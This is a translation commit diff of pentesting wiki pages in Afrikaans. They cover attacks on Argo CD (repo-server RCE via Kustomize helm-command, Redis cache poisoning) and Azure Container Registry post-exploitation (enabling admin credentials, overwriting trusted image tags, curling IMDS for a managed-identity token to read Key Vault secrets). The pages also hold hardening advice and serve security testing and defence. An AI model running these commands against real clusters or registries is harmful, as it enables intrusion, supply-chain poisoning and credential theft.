Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2026-07-19 09:23:52 +00:00
parent 624af11593
commit 722683b00e
5 changed files with 199 additions and 103 deletions
Binary file not shown.
+75 -74
View File
@@ -1,21 +1,21 @@
# Argo CD Security # Argo CD-sekuriteit
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Basiese Inligting ## Basiese inligting
[Argo CD](https://argo-cd.readthedocs.io/) is 'n GitOps continuous delivery platform vir Kubernetes. Dit monitor Git repositories, render Kubernetes manifests met tools soos Helm, Kustomize, Jsonnet of config management plugins, en reconcile die live cluster state met die desired state wat in Git gestoor is. [Argo CD](https://argo-cd.readthedocs.io/) is 'n GitOps continuous delivery-platform vir Kubernetes. Dit monitor Git-repositories, lewer Kubernetes-manifeste met tools soos Helm, Kustomize, Jsonnet of config management plugins, en bring die live cluster state in ooreenstemming met die gewenste state wat in Git gestoor word.
Vanuit 'n attacker perspektief, behandel Argo CD as 'n **deployment engine met Kubernetes credentials**. 'n Nuttige Argo CD compromise kan lei tot: Vanuit 'n aanvaller se perspektief moet Argo CD as 'n **deployment-enjin met Kubernetes-geloofsbriewe** beskou word. 'n Nuttige Argo CD-compromise kan lei tot:
- Access to private Git repositories en repository credentials. - Toegang tot private Git-repositories en repository credentials.
- Access to Kubernetes cluster secrets wat deur Argo CD gebruik word. - Toegang tot Kubernetes cluster secrets wat deur Argo CD gebruik word.
- Manifest generation code execution in `argocd-repo-server`. - Manifest generation code execution in `argocd-repo-server`.
- Unauthorized Kubernetes object deployment deur trusted Git repositories, Argo CD applications, of cache manipulation. - Ongemagtigde Kubernetes-object deployment deur vertroude Git-repositories, Argo CD-applications of cache manipulation.
## Architecture & Interesting Components ## Argitektuur en interessante komponente
Common Kubernetes objects and services: Algemene Kubernetes-objekte en -dienste:
```bash ```bash
kubectl get pods,svc,endpoints,ingress -A | grep -iE 'argocd|argo-cd' kubectl get pods,svc,endpoints,ingress -A | grep -iE 'argocd|argo-cd'
kubectl get applications,appprojects,applicationsets -A 2>/dev/null kubectl get applications,appprojects,applicationsets -A 2>/dev/null
@@ -24,21 +24,21 @@ kubectl get networkpolicy -n argocd 2>/dev/null
``` ```
Interessante dienste: Interessante dienste:
- **`argocd-server`**: publieke API, web UI, CLI API, authentication en authorization. - **`argocd-server`**: publieke API, web UI, CLI API, verifikasie en magtiging.
- **`argocd-application-controller`**: vergelyk desired en live state, en pas dan resources toe op Kubernetes. - **`argocd-application-controller`**: vergelyk die gewenste en huidige toestand, en pas dan resources op Kubernetes toe.
- **`argocd-repo-server`**: kloon repositories, cache Git data, en run Helm/Kustomize/Jsonnet/plugins om manifests te genereer. Die standaard gRPC-poort is **8081**. - **`argocd-repo-server`**: kloon repositories, cache Git-data, en voer Helm/Kustomize/Jsonnet/plugins uit om manifests te genereer. Die verstek-gRPC-poort is **8081**.
- **`argocd-redis`**: cache vir application, manifest en Git reference data. Die standaard Redis-poort is **6379**. - **`argocd-redis`**: cache vir application-, manifest- en Git-reference-data. Die verstek-Redis-poort is **6379**.
- **`argocd-applicationset-controller`**: genereer Argo CD `Application` objects uit generators soos Git, SCM, clusters en pull requests. - **`argocd-applicationset-controller`**: genereer Argo CD `Application`-objekte vanaf generators soos Git, SCM, clusters en pull requests.
From a compromised pod or internal network segment, check internal reachability: Kontroleer vanaf n compromised pod of interne netwerksegment interne bereikbaarheid:
```bash ```bash
nc -vz <argocd-server> 443 nc -vz <argocd-server> 443
nc -vz <argocd-repo-server> 8081 nc -vz <argocd-repo-server> 8081
nc -vz <argocd-redis> 6379 nc -vz <argocd-redis> 6379
``` ```
## Public API / UI Attacks ## Aanvalle op openbare API / UI
As jy Argo CD credentials of n blootgestelde instance het, begin met die normale API surface: As jy Argo CD-aanmeldbewyse of n blootgestelde instansie het, begin met die normale API-aanvalsoppervlak:
```bash ```bash
argocd login <argocd-server> argocd login <argocd-server>
argocd account get-user-info argocd account get-user-info
@@ -51,13 +51,13 @@ argocd admin settings rbac can <subject> <action> <resource> <object>
``` ```
Nuttige aanvalspaaie: Nuttige aanvalspaaie:
- **Application write access**: wysig `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin settings of sync options sodat Argo CD attacker-controlled manifests deploy. - **Application write access**: wysig `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin settings of sync options sodat Argo CD attacker-beheerde manifests deploy.
- **Project misconfiguration**: `AppProject` objects kan breë `sourceRepos`, breë `destinations`, onveilige `clusterResourceWhitelist`, of swak namespace-beperkings toelaat. - **Project misconfiguration**: `AppProject`-objekte kan breë `sourceRepos`, breë `destinations`, onveilige `clusterResourceWhitelist` of swak namespace-beperkings toelaat.
- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys en tokens kan toelaat om na trusted repos te push of malicious dependencies by te voeg. - **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys en tokens kan dit moontlik maak om na vertroude repositories te push of malicious dependencies by te voeg.
- **Cluster credential abuse**: cluster secrets kan bearer tokens of exec-provider configuration bevat wat deur Argo CD gebruik word om in target clusters in te deploy. - **Cluster credential abuse**: cluster secrets kan bearer tokens of exec-provider configuration bevat wat deur Argo CD gebruik word om na target clusters te deploy.
- **Local admin / project tokens**: long-lived Argo CD tokens kan via die API hergebruik word tensy hulle revoked of expired is. - **Local admin / project tokens**: langlewende Argo CD tokens kan deur die API hergebruik word tensy dit revoked of expired is.
Enumereer configuration vanaf Kubernetes wanneer jy cluster read access het: Enumerate configuration from Kubernetes wanneer jy cluster read access het:
```bash ```bash
kubectl get applications.argoproj.io -A -o yaml kubectl get applications.argoproj.io -A -o yaml
kubectl get appprojects.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml
@@ -65,26 +65,26 @@ kubectl get applicationsets.argoproj.io -A -o yaml
kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey' kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey'
kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
``` ```
## Trusted Git Repository Abuse ## Misbruik van Trusted Git Repository
As jy kan push na 'n repository wat deur Argo CD vertrou word, kan jy gewoonlik beïnvloed wat gedeply word. Die impak hang af van die `AppProject` grense en die service account permissions wat deur die application controller gebruik word. As jy na n repository wat deur Argo CD vertrou word kan push, kan jy gewoonlik beïnvloed wat gedeploy word. Die impak hang af van die `AppProject`-grense en die diensrekening-permissies wat deur die application controller gebruik word.
Algemene payload-liggings: Algemene payload-liggings:
- Raw Kubernetes YAML onder 'n application pad. - Rou Kubernetes YAML onder n application path.
- Helm chart templates en `values.yaml`. - Helm chart templates en `values.yaml`.
- Kustomize overlays, remote bases en generators. - Kustomize overlays, remote bases en generators.
- Jsonnet of config management plugin input. - Jsonnet- of config management plugin-invoer.
- ApplicationSet generator files wat `Application` objects skep of opdateer. - ApplicationSet generator-lêers wat `Application`-objekte skep of opdateer.
Kontroleer of die app automated sync, pruning, self-heal, sync windows of manual approvals gebruik: Kontroleer of die app automated sync, pruning, self-heal, sync windows of manual approvals gebruik:
```bash ```bash
kubectl get applications.argoproj.io -A \ kubectl get applications.argoproj.io -A \
-o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server' -o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
``` ```
## Direkte `argocd-repo-server` Misbruik ## Direkte Misbruik van `argocd-repo-server`
Moenie aanvaar dat die publieke Argo CD API die enigste aanvaloppervlak is nie. Interne Argo CD-komponente kommunikeer met `argocd-repo-server` oor gRPC. As arbitrêre pods repo-server kan bereik, kan aanvaller-beheerde interne requests kontroles omseil wat normaalweg deur `argocd-server` afgedwing word. Moenie aanvaar dat die publieke Argo CD API die enigste aanvalsvlak is nie. Interne Argo CD-komponente kommunikeer met `argocd-repo-server` oor gRPC. As arbitrêre pods `repo-server` kan bereik, kan versoeke binne die omgewing wat deur aanvallers beheer word, kontroles omseil wat normaalweg deur `argocd-server` afgedwing word.
Praktiese kontroles: Praktiese kontroles:
```bash ```bash
@@ -94,36 +94,36 @@ nc -vz <argocd-repo-server> 8081
``` ```
Interessante tekens: Interessante tekens:
- Die repo-server gRPC-endpoint is bereikbaar vanaf nie-Argo CD pods. - Die repo-server gRPC endpoint is bereikbaar vanaf nie-Argo CD pods.
- NetworkPolicies ontbreek of laat net allow-list egress toe sonder om ingress te deny. - NetworkPolicies ontbreek of laat slegs allow-list egress toe sonder om ingress te weier.
- Die repo-server het toegang tot custom config management plugins, decryption tools, of repository content van multiple tenants. - Die repo-server het toegang tot custom config management plugins, decryption tools, of repository content van verskeie tenants.
- Redis is bereikbaar vanaf nie-Argo CD pods, wat cache-inspection of tampering moontlik maak as credentials beskikbaar is of nie vereis word nie. - Redis is bereikbaar vanaf nie-Argo CD pods, wat cache-inspeksie of peutery moontlik maak indien credentials beskikbaar is of nie vereis word nie.
## Unauthenticated Repo-Server RCE via Kustomize Options ## Unauthenticated Repo-Server RCE via Kustomize Options
In Julie 2026 het Synacktiv 'n unauthenticated code execution chain in Argo CD se `repo-server` bekendgemaak wanneer 'n attacker die interne gRPC service kan bereik. Die attack misbruik direkte toegang tot `/repository.RepoServerService/GenerateManifest` en attacker-controlled `KustomizeOptions`. In Julie 2026 het Synacktiv 'n unauthenticated code execution chain in Argo CD se `repo-server` bekend gemaak wanneer 'n aanvaller die interne gRPC service kan bereik. Die aanval misbruik direkte toegang tot `/repository.RepoServerService/GenerateManifest` en attacker-controlled `KustomizeOptions`.
Die gevaarlike primitive is om repo-server te forseer om attacker-controlled repository content te clone en Kustomize met Helm support te laat loop: Die gevaarlike primitive is om repo-server te dwing om attacker-controlled repository content te clone en Kustomize met Helm support uit te voer:
```bash ```bash
kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
``` ```
Minimale kwaadwillige Kustomize-invoer wat nodig is om Helm-verwerking te trigger: Minimale kwaadwillige Kustomize-invoer moet Helm-verwerking aktiveer:
```yaml ```yaml
helmCharts: helmCharts:
- name: pwn - name: pwn
version: 0.0.1 version: 0.0.1
``` ```
Hoekom dit werk: Waarom dit werk:
- `argocd-repo-server` kloon die repository voor rendering. - `argocd-repo-server` kloon die repository voordat dit gerender word.
- `--helm-command ./payload.sh` los relatief op tot die gekloonde repository. - `--helm-command ./payload.sh` word relatief tot die gekloonde repository opgelos.
- Code execution vereis nie shell metakarakter-inspuiting as die attacker die gerenderde repository en Kustomize build opsies kan beheer nie. - Code execution vereis nie shell metacharacter injection nie indien die aanvaller beheer oor die gerenderde repository en Kustomize build options kan verkry.
Ten tyde van Synacktiv se 1 Julie 2026 disclosure, het hulle berig dat die issue geen amptelike fix of CVE gehad het nie. Behandel dit eers as 'n network-exposure issue: exploitation vereis reachability na die interne repo-server gRPC port. Ten tyde van Synacktiv se bekendmaking op 1 Julie 2026 het hulle berig dat die issue geen amptelike fix of CVE gehad het nie. Behandel dit eerstens as n network-exposure-issue: exploitation vereis reachability na die interne repo-server gRPC-port.
## Redis Cache Poisoning om Manifests te Deploy ## Redis Cache Poisoning om Manifeste te Deploy
Ná code execution in `argocd-repo-server`, of ná direkte toegang tot Redis met geldige credentials, inspekteer Redis-backed cache entries. Argo CD stoor algemeen gzip-gekomprimeerde JSON values. Na code execution in `argocd-repo-server`, of ná direkte toegang tot Redis met geldige credentials, inspekteer Redis-backed cache entries. Argo CD stoor gewoonlik gzip-compressed JSON-values.
Interessante key prefixes: Interessante key prefixes:
```text ```text
@@ -134,18 +134,18 @@ cluster|... # cluster cache information
``` ```
Die cache poisoning attack wat deur Synacktiv beskryf word, misbruik twee stukke state: Die cache poisoning attack wat deur Synacktiv beskryf word, misbruik twee stukke state:
1. Wysig die relevante `mfst|...` manifest cache entry om n attacker-controlled Kubernetes manifest in te sluit. 1. Wysig die relevante `mfst|...` manifest cache entry om 'n attacker-controlled Kubernetes manifest in te sluit.
2. Wysig die verwante `git-refs|...` mapping sodat Argo CD glo die branch het geskuif en dan terug reconcile na die cached revision. 2. Wysig die verwante `git-refs|...` mapping sodat Argo CD glo dat die branch geskuif het en daarna terug na die cached revision reconcile.
Impact: Impact:
- Met Auto Sync geaktiveer, kan Argo CD die poisoned cached manifest outomaties toepas. - Met Auto Sync enabled kan Argo CD die poisoned cached manifest outomaties apply.
- Sonder Auto Sync kan die payload steeds toegepas word wanneer n user die application handmatig sync. - Sonder Auto Sync kan die payload steeds apply wanneer 'n gebruiker die application handmatig sync.
- Die finale impact word beperk deur die target application's destination en die Kubernetes permissions wat vir Argo CD beskikbaar is. - Die finale impact word beperk deur die target application's destination en die Kubernetes permissions wat vir Argo CD beskikbaar is.
## ApplicationSet Attacks ## ApplicationSet Attacks
ApplicationSet is veral sensitief omdat dit `Application` objects skep of update vanaf generator output. ApplicationSet is besonder sensitief omdat dit `Application` objects vanuit generator output skep of bywerk.
Review: Review:
```bash ```bash
@@ -154,11 +154,11 @@ kubectl get appprojects.argoproj.io -A -o yaml
``` ```
Interessante patrone: Interessante patrone:
- Git generators wat aanvaller-skryfbare lêers lees wat app-name, paths, projects of destinations beheer. - Git generators wat attacker-writable files lees wat app name, paths, projects of destinations beheer.
- Pull request generators vir publieke repositories waar onbetroubare bydraers gegenereerde applications kan beïnvloed. - Pull request generators vir publieke repositories waar untrusted contributors gegenereerde applications kan beïnvloed.
- Template fields wat breë destination clusters/namespaces toelaat. - Template fields wat breë destination clusters/namespaces toelaat.
- AppProjects wat `sourceRepos: ["*"]` of breë `destinations` toelaat. - AppProjects wat `sourceRepos: ["*"]` of breë `destinations` toelaat.
- Gegenereerde applications wat automated sync en pruning erf. - Gegenereerde applications wat automated sync en pruning oorerf.
## Post-Exploitation ## Post-Exploitation
@@ -171,49 +171,50 @@ mount | grep -E 'secret|token|config'
``` ```
Nuttige doelwitte: Nuttige doelwitte:
- Steel `REDIS_PASSWORD` of Redis TLS/client materiaal. - Steel `REDIS_PASSWORD` of Redis TLS-/client-materiaal.
- Onttrek repository credentials uit gemonteerde secrets of Argo CD Kubernetes secrets. - Onttrek repository-geloofsbriewe uit gemonteerde secrets of Argo CD Kubernetes-secrets.
- Identifiseer cluster credentials wat deur Argo CD gebruik word. - Identifiseer cluster-geloofsbriewe wat deur Argo CD gebruik word.
- Lees gegenereerde manifests en plugin output wat geïnjecteerde secrets kan insluit. - Lees gegenereerde manifests en plugin-uitset wat moontlik geïnjecteerde secrets bevat.
- Kyk of custom plugins, SOPS, Helm secrets, Vault plugins of cloud CLIs decryption keys en cloud credentials blootstel. - Kontroleer of custom plugins, SOPS, Helm secrets, Vault plugins of cloud CLIs dekripsiesleutels en cloud-geloofsbriewe blootstel.
## Detection & Hardening ## Opsporing en verharding
Belangrike kontroles: Belangrike kontroles:
- Beperk `argocd-repo-server` poort **8081** en Redis poort **6379** met NetworkPolicies sodat net verwagte Argo CD-komponente daarna kan reik. - Beperk `argocd-repo-server`-poort **8081** en Redis-poort **6379** met NetworkPolicies sodat slegs verwagte Argo CD-komponente toegang daartoe kan kry.
- In Helm deployments, verifieer dat network policies werklik geskep word. Argo CD Helm chart values het histories component network policy creation verstek na disabled. - Verifieer in Helm-deployments dat network policies werklik geskep word. Argo CD Helm chart-waardes het histories die skepping van komponent-network policies by verstek gedeaktiveer.
- Hou `argocd-server` as die geverifieerde toegangspunt. Interne dienste moet nie vanaf arbitrêre workloads bereikbaar wees nie. - Hou `argocd-server` as die geverifieerde toegangspunt. Interne dienste behoort nie vanaf arbitrêre workloads bereikbaar te wees nie.
- Deaktiveer ongebruikte config management tools en plugins. - Deaktiveer ongebruikte config management-tools en plugins.
- Beperk `AppProject` `sourceRepos`, `destinations`, namespace permissions en cluster-scoped resources. - Beperk `AppProject` se `sourceRepos`, `destinations`, namespace-permissies en cluster-omvattende hulpbronne.
- Vermy die stoor van breë repository credentials waar 'n laag-geprivilegieerde Argo CD user hergebruik daarvan kan veroorsaak. - Vermy die stoor van breë repository-geloofsbriewe waar n Argo CD-gebruiker met lae voorregte hul hergebruik kan veroorsaak.
- Monitor repo-server requests, Kustomize build options, plugin executions, Redis writes en onverwagte toegang tot `mfst|` / `git-refs|` keys. - Monitor repo-server-versoeke, Kustomize-bouopsies, plugin-uitvoerings, Redis-skryfbewerkings en onverwagte toegang tot `mfst|` / `git-refs|`-sleutels.
- Roteer Argo CD local users, project tokens, repository credentials en cluster credentials ná compromise. - Roteer Argo CD-plaaslike gebruikers, projektokens, repository-geloofsbriewe en cluster-geloofsbriewe ná n kompromittering.
Nuttige commands: Nuttige opdragte:
```bash ```bash
kubectl get networkpolicy -n argocd kubectl get networkpolicy -n argocd
kubectl get networkpolicy -A | grep -i argocd kubectl get networkpolicy -A | grep -i argocd
kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
``` ```
## Static Analysis Note: Typed API Requests in CodeQL ## Nota oor Static Analysis: Getipeerde API Requests in CodeQL
Vir Go services wat gRPC/REST handlers gebruik, kan default CodeQL remote sources flows mis nadat raw input in typed request objects ge-unmarshal is. n Nuttige model vir Argo CD-style services is: Vir Go-services wat gRPC/REST-handlers gebruik, kan die verstek CodeQL remote sources flows mis sodra raw input in getipeerde request objects unmarshaled is. n Nuttige model vir Argo CD-styl services is:
- Receiver type soos `Server` of `Service`. - Receiver type soos `Server` of `Service`.
- Eerste parameter is `context.Context`. - Eerste parameter is `context.Context`.
- Tweede parameter is n typed request object. - Tweede parameter is n getipeerde request object.
Model daardie tweede parameter as n remote source en voeg custom sinks vir `exec.Command` / `exec.CommandContext` arguments by. Dit help om flows van internal API request fields na command execution helpers te vind. Modelleer daardie tweede parameter as n remote source en voeg custom sinks by vir `exec.Command` / `exec.CommandContext`-arguments. Dit help om flows vanaf interne API-request-velde na command execution helpers te vind.
## References ## Verwysings
- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql) - [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) - [Argo CD docs - Sekuriteitsoorwegings](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/) - [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/) - [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
- [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml) - [Argo CD - repo-server NetworkPolicy-manifes](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) - [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) - [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) - [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
{{#include ../banners/hacktricks-training.md}}
@@ -6,4 +6,8 @@
az-azure-ai-foundry-post-exploitation.md az-azure-ai-foundry-post-exploitation.md
{{#endref}} {{#endref}}
{{#ref}}
az-container-registry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,87 @@
# Az - Container Registry Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Registry
Vir meer inligting oor hierdie diens, kyk:
{{#ref}}
../az-services/az-container-registry.md
{{#endref}}
### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
'n Identiteit met ACR management-plane-toegang kan daardie toegang omskakel in **herbruikbare Docker credentials**. As die **admin user** gedeaktiveer is, maar die principal ook `registries/write` het, aktiveer dit, herwin die wagwoorde en authenticateer direk teen `<registry>.azurecr.io`.
```bash
az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
az acr credential show -n <registry-name>
docker login <registry-name>.azurecr.io -u <username> -p <password>
```
Dit is nuttig omdat die herwonne credentials buite die Azure CLI hergebruik kan word om registry-inhoud te **list, pull, push, overwrite, en soms delete** totdat die admin account gedeaktiveer word of die wagwoorde geroteer word.
### `Microsoft.ContainerRegistry/registries/pull/read`
Gebruik pull access vir **repository reconnaissance** en **secret hunting** binne images. Hersien beide die finale container-konfigurasie en die historiese filesystem-layers, omdat lêers wat in een layer gekopieer is, steeds herwinbaar kan wees, selfs al word hulle later uitgevee.
```bash
az acr repository list -n <registry-name>
az acr repository show-tags -n <registry-name> --repository <repository> --detail
docker pull <registry-name>.azurecr.io/<repository>:<tag>
container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
docker cp "$container_id":/ ./extracted_container
docker rm "$container_id"
docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
dive <registry-name>.azurecr.io/<repository>:<tag>
```
Hoëwaarde-teikens sluit **omgewingsveranderlikes**, **toepassingskonfigurasies**, **deployment-skripte**, **sertifikate**, **toegangstokens** en **verbindingstringe** in. Vir meer idees wanneer jy lae hersien, kyk na die Docker forensics-bladsy:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `Microsoft.ContainerRegistry/registries/push/write`
Push-toegang stel n aanvaller in staat om **vertroude repositories te vergiftig** of **aanpasbare tags** soos `latest`, `prod` of `stable` te **oorskryf**. Enige workload wat steeds volgens tag eerder as digest deploy, kan die aanvaller se image tydens die volgende deployment, scale-out-gebeurtenis of herbegin trek.
```bash
# Retag an existing local image for the target ACR
docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
# If your workstation architecture differs from the target runtime, build for the consumer platform first
docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
```
Voordat jy n tag vervang, verifieer watter repositories en tags werklik deur downstream workloads gebruik word. **Digest-pinned** consumers (`@sha256:...`) is baie moeiliker om te redirect as tag-gebaseerde consumers.
### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
As jy beide die **image** wat deur n downstream container workload gebruik word kan vervang en daardie workload kan restart, word die kwaadwillige entrypoint binne die teikencontainer se **network- en managed identity-konteks** uitgevoer. Van daar af kan die image tokens vanaf IMDS aanvra en toegang verkry tot Azure-resources wat vir daardie workload identity bereikbaar is.
```bash
TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
curl -H "Authorization: Bearer $TOKEN" \
'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
az container restart --resource-group <resource-group> --name <container-name>
```
This turns an ACR tag overwrite into **code execution**, **secret theft**, or **lateral movement** binne enige container consumer wat die gewysigde tag vertrou en n nuttige identity blootstel.
### Verwante privesc path: ACR Tasks managed identities
As jy ook `Microsoft.ContainerRegistry/registries/tasks/write` en `Microsoft.ContainerRegistry/registries/runs/write` het, gaan voort na die ACR privesc path en abuse die task se managed identity direk:
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Verwysings
- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,11 +4,11 @@
## Basiese Inligting ## Basiese Inligting
Azure Container Registry (ACR) is 'n veilige, private registry wat jou laat toe om **container images in die Azure cloud te stoor, te bestuur, en toegang daartoe te kry**. Dit integreer naatloos met verskeie Azure-dienste, en bied outomatiese build- en deployment-werkvloei op skaal. Met kenmerke soos geo-replication en vulnerability scanning help ACR om enterprise-grade security en compliance vir containerized applications te verseker. Azure Container Registry (ACR) is 'n veilige, private registry waarmee jy **container images in die Azure cloud kan stoor, bestuur en toegang daartoe verkry**. Dit integreer naatloos met verskeie Azure-dienste en bied geoutomatiseerde build- en deployment-werkvloei op skaal. Met features soos geo-replication en vulnerability scanning help ACR om enterprise-grade security en compliance vir containerized applications te verseker.
### Permissions ### Permissions
Dit is die **verskillende permissions** [volgens die docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) wat oor 'n Container Registry gegee kan word: Hierdie is die **verskillende permissions** [volgens die docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) wat oor 'n Container Registry gegee kan word:
- Access Resource Manager - Access Resource Manager
- Create/delete registry - Create/delete registry
@@ -25,16 +25,16 @@ Daar is ook sommige **built-in roles** wat toegeken kan word, en dit is ook moon
### Authentication ### Authentication
> [!WARNING] > [!WARNING]
> Dit is baie imporatant dat selfs al bevat die registry-naam sommige hoofletters, jy altyd **kleinletters** moet gebruik om aan te meld, images te push en te pull. > Dit is baie belangrik dat jy, selfs al bevat die registry se naam hoofletters, altyd **lowercase letters** gebruik om images te login, push en pull.
Daar is 4 maniere om by 'n ACR te authenticate: Daar is 4 maniere om aan 'n ACR te authenticate:
- **With Entra ID**: Dit is die **default** manier om by 'n ACR te authenticate. Dit gebruik die **`az acr login`** command om by die ACR te authenticate. Hierdie command sal die **credentials** in die **`~/.docker/config.json`** lêer **store**. Verder, as jy hierdie command vanuit 'n environment sonder toegang tot 'n docker socket soos in 'n **cloud shell**, is dit moontlik om die **`--expose-token`** vlag te gebruik om die **token** te kry om by die ACR te authenticate. Dan, om te authenticate moet jy as user name `00000000-0000-0000-0000-000000000000` gebruik soos: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` - **With Entra ID**: Dit is die **default** manier om aan 'n ACR te authenticate. Dit gebruik die **`az acr login`**-command om aan die ACR te authenticate. Hierdie command sal die **credentials** in die **`~/.docker/config.json`**-lêer **stoor**. Verder, as jy hierdie command uitvoer vanuit 'n environment sonder toegang tot 'n docker socket, soos in 'n **cloud shell**, is dit moontlik om die **`--expose-token`**-flag te gebruik om die **token** te kry om aan die ACR te authenticate. Om dan te authenticate, moet jy `00000000-0000-0000-0000-000000000000` as user name gebruik, soos: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **With an admin account**: The admin user is by default gedeaktiveer maar dit kan geaktiveer word en dan sal dit moontlik wees om toegang tot die registry te kry met die **username** en **password** van die admin account met volle permissions tot die registry. Dit word steeds ondersteun omdat sommige Azure-dienste dit gebruik. Let daarop dat **2 passwords** vir hierdie user geskep word en albei is geldig. Jy kan dit aktiveer met `az acr update -n <acrName> --admin-enabled true`. Let daarop dat die username gewoonlik die registry-naam is (en nie `admin` nie). - **With an admin account**: Die admin user is by verstek gedeaktiveer, maar dit kan geaktiveer word. Daarna sal dit moontlik wees om toegang tot die registry te verkry met die **username** en **password** van die admin account, met volledige permissions oor die registry. Dit word steeds ondersteun omdat sommige Azure-dienste dit gebruik. Let daarop dat **2 passwords** vir hierdie user geskep word en albei geldig is. Jy kan dit aktiveer met `az acr update -n <acrName> --admin-enabled true`. Let daarop dat die username gewoonlik die registry-naam is (en nie `admin` nie).
